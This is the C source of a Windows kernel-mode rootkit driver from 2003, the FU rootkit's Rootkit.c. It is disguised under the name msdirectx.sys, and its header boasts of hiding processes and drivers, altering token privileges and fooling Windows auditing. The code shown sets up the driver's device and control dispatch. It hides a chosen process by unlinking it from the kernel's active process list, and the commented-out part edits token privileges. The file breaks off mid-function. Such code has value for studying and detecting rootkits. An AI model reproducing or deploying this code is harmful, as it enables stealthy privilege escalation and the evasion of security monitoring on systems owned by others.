///////////////////////////////////////////////////////////////////////////////////////
// Filename Rootkit.c
// 
// Author: fuzen_op
// Email:  fuzen_op@yahoo.com or fuzen_op@rootkit.com
//
// Description: This driver does all the work of fu.exe. The driver is never unloaded 
//              until reboot. You can use whatever methods you like to load the driver 
//				such as SystemLoadAndCallImage suggested by Greg Hoglund. The driver 
//              is named msdirectx.sys. It is a play on Microsoft's DirectX and is named
//              this to help hide it. (A future tool will hide it completely!) The 
//              driver can change the groups and privileges on any process. It can also 
//              hide a process. Another feature is it can impersonate another logon 
//              session so that Windows Auditing etc. does not know what user really 
//              performed the actions you choose to take with the process. It does all 
//              this by Direct Kernel Object Manipulation (TM). No worries about do I have 
//              permission to that process, token, etc. If you can load a driver once, 
//              you are golden! NOW IT HIDES DRIVERS TOO!
//
// Date:    5/27/2003
// Version: 2.0
//
// Date     7/04/2003   Fixed a problem with a modified token not being inheritable.
//		   12/04/2003   Fixed problem with faking out the Windows Event Viewer.	
//						Cleaned up the code a lot! 
//		   12/05/2003   Now the driver walks the PsLoadedModuleList and removes references 
//                      to the device being hidden. Even after the device is hidden, a user 
//						land process can open a handle to it if its symbolic link name still 
//						exists. Obviously, a stealth driver would not want to create a or it 
//						could delete the symbolic link once it has initialized through the use
//						of an IOCTL.	

#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"

#include "Rootkit.h"
#include "ProcessName.h"
#include "ioctlcmd.h"


const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[]  = L"\\Device\\msdirectx";


//#define DEGUBPRINT
//#ifdef DEBUGPRINT
	#define   DebugPrint		DbgPrint
//#else
//	#define   DebugPrint
//#endif
   
NTSTATUS DriverEntry(
				   IN PDRIVER_OBJECT  DriverObject,
				   IN PUNICODE_STRING RegistryPath
					)
{
	
    NTSTATUS                ntStatus;
    UNICODE_STRING          deviceNameUnicodeString;
    UNICODE_STRING          deviceLinkUnicodeString;        


	// Setup our name and symbolic link. 
    RtlInitUnicodeString (&deviceNameUnicodeString,
                          deviceNameBuffer );
    RtlInitUnicodeString (&deviceLinkUnicodeString,
                          deviceLinkBuffer );
    // Set up the device
    //
    ntStatus = IoCreateDevice ( DriverObject,
                                0, // For driver extension
                                &deviceNameUnicodeString,
                                FILE_DEVICE_ROOTKIT,
                                0,
                                TRUE,
                                &g_RootkitDevice );

    if(! NT_SUCCESS(ntStatus))
	{
        DebugPrint(("Failed to create device!\n"));
        return ntStatus;
    }
 
		
	ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
                                        &deviceNameUnicodeString );
    if(! NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice(DriverObject->DeviceObject);
        DebugPrint("Failed to create symbolic link!\n");
        return ntStatus;
    }


    // Create dispatch points for all routines that must be handled
    DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =
    DriverObject->MajorFunction[IRP_MJ_CREATE]          =
    DriverObject->MajorFunction[IRP_MJ_CLOSE]           =
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = RootkitDispatch;

	// Its extremely unsafe to unload a system-call hooker.
	// Use GREAT caution.
    DriverObject->DriverUnload                          = RootkitUnload;
   
   
	// Get the offset of the process name in the EPROCESS structure.
	gul_ProcessNameOffset = GetLocationOfProcessName(PsGetCurrentProcess());
	if (!gul_ProcessNameOffset)
	{
		IoDeleteSymbolicLink( &deviceLinkUnicodeString );
		// Delete the device object
		DebugPrint("Failed to create gul_PsLoadedModuleList link!\n");
		IoDeleteDevice( DriverObject->DeviceObject );
		return STATUS_UNSUCCESSFUL;
	}

	gul_PsLoadedModuleList = (PMODULE_ENTRY) FindPsLoadedModuleList(DriverObject);
	if (!gul_PsLoadedModuleList)
	{
		IoDeleteSymbolicLink( &deviceLinkUnicodeString );
		// Delete the device object
		DebugPrint("Failed to create gul_PsLoadedModuleList link!\n");
		IoDeleteDevice( DriverObject->DeviceObject );
		return STATUS_UNSUCCESSFUL;
	}


    return STATUS_SUCCESS;
}


NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING          deviceLinkUnicodeString;
	PDEVICE_OBJECT			p_NextObj;

	p_NextObj = DriverObject->DeviceObject;

	if (p_NextObj != NULL)
	{
        // Delete the symbolic link for our device
		//
		RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
		IoDeleteSymbolicLink( &deviceLinkUnicodeString );
		// Delete the device object
		//
		IoDeleteDevice( DriverObject->DeviceObject );
		return STATUS_SUCCESS;
	}
	return STATUS_SUCCESS;
}



NTSTATUS 
RootkitDispatch(
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp 
    )
{
    PIO_STACK_LOCATION      irpStack;
    PVOID                   inputBuffer;
    PVOID                   outputBuffer;
    ULONG                   inputBufferLength;
    ULONG                   outputBufferLength;
    ULONG                   ioControlCode;
	NTSTATUS				ntstatus;

    //
    // Go ahead and set the request up as successful
    //
    ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

    //
    // Get a pointer to the current location in the Irp. This is where
    //     the function codes and parameters are located.
    //
    irpStack = IoGetCurrentIrpStackLocation (Irp);

    //
    // Get the pointer to the input/output buffer and its length
    //
    inputBuffer             = Irp->AssociatedIrp.SystemBuffer;
    inputBufferLength       = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outputBuffer            = Irp->AssociatedIrp.SystemBuffer;
    outputBufferLength      = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode           = irpStack->Parameters.DeviceIoControl.IoControlCode;

    switch (irpStack->MajorFunction) {
    case IRP_MJ_CREATE:
        break;

    case IRP_MJ_SHUTDOWN:
        break;

    case IRP_MJ_CLOSE:
        break;

    case IRP_MJ_DEVICE_CONTROL:

        if(IOCTL_TRANSFER_TYPE(ioControlCode) == METHOD_NEITHER) {
            outputBuffer = Irp->UserBuffer;
        }

        // Its a request from rootkit 
        ntstatus = RootkitDeviceControl(	irpStack->FileObject, TRUE,
												inputBuffer, inputBufferLength, 
												outputBuffer, outputBufferLength,
												ioControlCode, &Irp->IoStatus, DeviceObject );
        break;
    }
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
    return ntstatus;   
}


NTSTATUS
RootkitDeviceControl(
    IN PFILE_OBJECT FileObject, 
    IN BOOLEAN Wait,
    IN PVOID InputBuffer, 
    IN ULONG InputBufferLength, 
    OUT PVOID OutputBuffer, 
    IN ULONG OutputBufferLength, 
    IN ULONG IoControlCode, 
    OUT PIO_STATUS_BLOCK IoStatus, 
    IN PDEVICE_OBJECT DeviceObject 
    ) 
{
	NTSTATUS ntStatus;
    UNICODE_STRING          deviceLinkUnicodeString;
	MODULE_ENTRY m_current;
	PMODULE_ENTRY pm_current;
	ANSI_STRING ansi_DriverName;
	ANSI_STRING hide_DriverName;
	UNICODE_STRING uni_hide_DriverName;
	int	i_count = 0,   i_numLogs = 0,      find_PID = 0;
	int nluids  = 0, i_PrivCount = 0, i_VariableLen = 0;
	int i_LuidsUsed = 0, luid_attr_count = 0, i_SidCount = 0;
	int i_SidSize = 0, i_spaceNeeded = 0, i_spaceSaved = 0; 
	int i_spaceUsed = 0, sid_count  = 0;
	DWORD eproc      = 0x00000000;
	DWORD start_eproc= 0x00000000;
	DWORD token      = 0x00000000;
	PLIST_ENTRY          plist_active_procs = NULL;
	PLUID_AND_ATTRIBUTES luids_attr = NULL;
	PLUID_AND_ATTRIBUTES luids_attr_orig = NULL;
	PSID_AND_ATTRIBUTES  sid_ptr_old = NULL;

	void *varpart  = NULL, *varbegin = NULL, *psid = NULL;

	DWORD SizeOfOldSids, SizeOfLastSid, d_SidStart;

	IoStatus->Status = STATUS_SUCCESS;
    IoStatus->Information = 0;

    switch ( IoControlCode ) 
	{

	case IOCTL_ROOTKIT_INIT:
		if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}
		PIDOFFSET       = (int) (*(int *)InputBuffer);
		FLINKOFFSET     = (int) (*((int *)InputBuffer+1));
		AUTHIDOFFSET    = (int) (*((int *)InputBuffer+2));
		TOKENOFFSET     = (int) (*((int *)InputBuffer+3));
		PRIVCOUNTOFFSET = (int) (*((int *)InputBuffer+4));
		PRIVADDROFFSET  = (int) (*((int *)InputBuffer+5));
		SIDCOUNTOFFSET  = (int) (*((int *)InputBuffer+6));
		SIDADDROFFSET   = (int) (*((int *)InputBuffer+7));

	break;

	case IOCTL_ROOTKIT_HIDEME:
		if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}

		find_PID = *((DWORD *)InputBuffer);
		if (find_PID == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		eproc = FindProcessEPROC(find_PID);
		if (eproc == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
		*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
		*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
	
	  break;

	case IOCTL_ROOTKIT_LISTPROC:
/*		if ((OutputBufferLength < PROCNAMEIDLEN) || (OutputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}

		i_numLogs = OutputBufferLength / PROCNAMEIDLEN;
		if (i_numLogs < 1)
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}

		find_PID = (DWORD) PsGetCurrentProcessId();
		eproc = FindProcessEPROC(find_PID);

		if (eproc == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}

		start_eproc = eproc;
		RtlZeroMemory(OutputBuffer, OutputBufferLength);

		for (i_count = 1; i_count <= i_numLogs; i_count++)
		{
			_snprintf((char *)((DWORD)OutputBuffer + ((i_count-1) * PROCNAMEIDLEN)), PROCNAMEIDLEN-1, "%s:%u",(char *) eproc+gul_ProcessNameOffset, *(DWORD *)(eproc+PIDOFFSET));
			IoStatus->Information = (i_count) * PROCNAMEIDLEN;
			plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
			eproc = (DWORD) plist_active_procs->Flink;
			eproc = eproc - FLINKOFFSET;
			if (start_eproc == eproc)
			{
				break;
			}
		}
		
		IoStatus->Status = STATUS_SUCCESS;
*/
		break; 

	case IOCTL_ROOTKIT_SETPRIV:
/*		if ((InputBufferLength < sizeof(struct _vars)) || (InputBuffer == NULL))
		{
			IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
			break;
		}
		////////////////////////////////////////////////////////////////////////////////////////
		// Some of these are pointers so what they point to may not be paged in, but I don't care. It is 
		// proof of concept code for a reason.
		find_PID = ((VARS *)InputBuffer)->the_PID;
		luids_attr = ((VARS *)InputBuffer)->pluida;
		nluids = ((VARS *)InputBuffer)->num_luids;

		if ((find_PID == 0x00000000) || (luids_attr == NULL) || (nluids == 0))
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		eproc = FindProcessEPROC(find_PID);
		if (eproc == 0x00000000)
		{
			IoStatus->Status = STATUS_INVALID_PARAMETER;
			break;
		}
		
		token = FindProcessToken(eproc);

		i_PrivCount     = *(PDWORD)(token + PRIVCOUNTOFFSET);
		luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);
		//FindTokenParams(token, &i_PrivCount, (PDWORD)&luids_attr_orig);

		// If the new privilege already exists in the token, just change its Attribute field.
		for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)
		{
			for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)
			{
				if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (memcmp(&luids_attr_orig[luid_attr_count].Luid, &luids_attr[i_LuidsUsed].Luid, sizeof(LUID)) == 0))
				{
					luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
					luids_attr[i_LuidsUsed].Attributes = 0xffffffff; // Canary value we will use
				}
			}
		}

		// OK, we did not find one of the new Privileges in the set of existing privileges so we are going to find the
		// disabled privileges and overwrite them.
		for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)
		{
			if (luids_attr[i_LuidsUsed].Attributes != 0xffffffff)
			{
				for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)
				{
					// If the privilege was disabled anyway, it was not necessary and we are going to reuse this space for our 
					// new privileges we want to add. Not all the privileges we request may get added because of space so you
					// should order the new privileges in decreasing order.
					if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (luids_attr_orig[luid_attr_count].Attributes == 0x00000000))
					{
						luids_attr_orig[luid_attr_count].Luid       = luids_attr[i_LuidsUsed].Luid;
						luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
						luids_attr[i_LuidsUsed].Attributes          = 0xffffffff; // Canary value we will use
					}